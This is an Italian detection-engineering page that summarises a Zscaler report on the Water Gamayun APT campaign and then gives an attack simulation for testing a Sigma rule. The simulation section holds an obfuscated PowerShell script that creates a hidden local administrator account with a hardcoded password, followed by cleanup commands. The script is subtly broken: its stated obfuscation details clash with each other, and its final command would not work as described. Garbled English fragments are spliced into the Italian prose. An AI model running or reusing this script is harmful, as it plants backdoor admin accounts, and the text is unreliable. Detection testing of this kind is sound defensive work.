Caccia alle Minacce di Zscaler Espone e Ricostruisce la Campagna APT Water Gamayun

Sommario

Il rapporto copre un’intrusione su più livelli attribuita al gruppo APT Water Gamayun che sfrutta una vulnerabilità zero-day di MMC (CVE-2025-26633) per consegnare payload PowerShell in un archivio RAR a doppia estensione.

Indagine

Zscaler ha ricostruito la catena di attacco da un reindirizzamento di ricerca Bing a un sito compromesso, il download di un file .pdf.rar, lo sfruttamento di MSC EvilTwin, script PowerShell in fasi e l’esecuzione del backdoor ItunesC.exe.

Mitigazione

Le linee guida includono il monitoraggio degli archivi a doppia estensione, l’ispezione dei reindirizzamenti, il rilevamento di comandi PowerShell codificati e il blocco degli IP e domini malevoli.

Risposta

Al rilevamento, inviare un avviso su mmc.exe che avvia PowerShell con -EncodedCommand, mettere in quarantena il file, bloccare le connessioni in uscita verso 103.246.147.17 e attivare le procedure di risposta agli incidenti.

Esecuzione di Simulazione

Prerequisito: Il Controllo Pre-volo di Telemetria & Baseline deve essere riuscito.

Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e il racconto DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

• Narrativa e Comandi di Attacco:
  L’attaccante, sfruttando la metodologia di Water Gamayun, prepara un payload PowerShell malevolo che scrive un nuovo utente amministratore locale e lo aggiunge al gruppo Amministratori. Per nascondere il payload, l’attaccante:

  1. Scrive lo script PowerShell in testo chiaro.
  2. Lo codifica in Base64 UTF‑16LE.
  3. Inserisce un trattino basso (_) dopo ogni 4 caratteri per aumentare l’entropia.
  4. Concatena un’operazione|Replace('_','')in modo che il PowerShell in fase di runtime rimuova i trattini bassi prima della decodifica, corrispondendo alla firma di rilevamento.runtime PowerShell removes the underscores before decoding, matching the detection signature.

  Il comando di esecuzione finale è:

  powershell.exe -EncodedCommand <Base64StringWithUnderscores> | Replace('_','')

  Questa esatta riga di comando soddisfa le due condizioni della regola Sigma (-EncodedCommand), generando voci Sysmon EventID 1 e Security EventID 4688 che la regola segnalerà.-EncodedCommand and |Replace('_','')), generating Sysmon EventID 1 and Security EventID 4688 entries that the rule will flag.

• Script di Test di Regressione:
  Lo script qui sotto automatizza la creazione del payload offuscato e lo esegue. Può essere eseguito su qualsiasi host Windows con PowerShell 5.1+.

  # Simulazione di offuscamento PowerShell in stile Water Gamayun
  # Passo 1: Definisci il payload PowerShell malevolo (aggiunge un utente admin locale)
  $payload = @'
  $user = "tempAdmin"
  $pwd  = ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force
  New-LocalUser -Name $user -Password $pwd -FullName "Temp Admin" -Description "Test admin account"
  Add-LocalGroupMember -Group "Administrators" -Member $user
  '@
  
  # Passo 2: Codifica in UTF-16LE e poi in Base64
  $bytes   = [System.Text.Encoding]::Unicode.GetBytes($payload)
  $b64     = [Convert]::ToBase64String($bytes)
  
  # Passo 3: Inietta trattini bassi ogni 8 caratteri (simulando il pattern del gruppo)
  $b64Underscored = ($b64 -split '(.{8})' | Where-Object {$_} | ForEach-Object { $_ + '_' }) -join ''
  
  # Passo 4: Esegui con il necessario Replace('_','') pipeline
  powershell.exe -EncodedCommand $b64Underscored | Replace('_','')

• Comandi di Pulizia:
  I seguenti comandi rimuovono l’utente di test e ripristinano l’ambiente.

  # Pulizia: Rimuovere l'account admin temporaneo creato dal test
  $user = "tempAdmin"
  if (Get-LocalUser -Name $user -ErrorAction SilentlyContinue) {
      Remove-LocalUser -Name $user
      Write-Host "Deleted test user $user."
  } else {
      Write-Host "Test user $user does not exist."
  }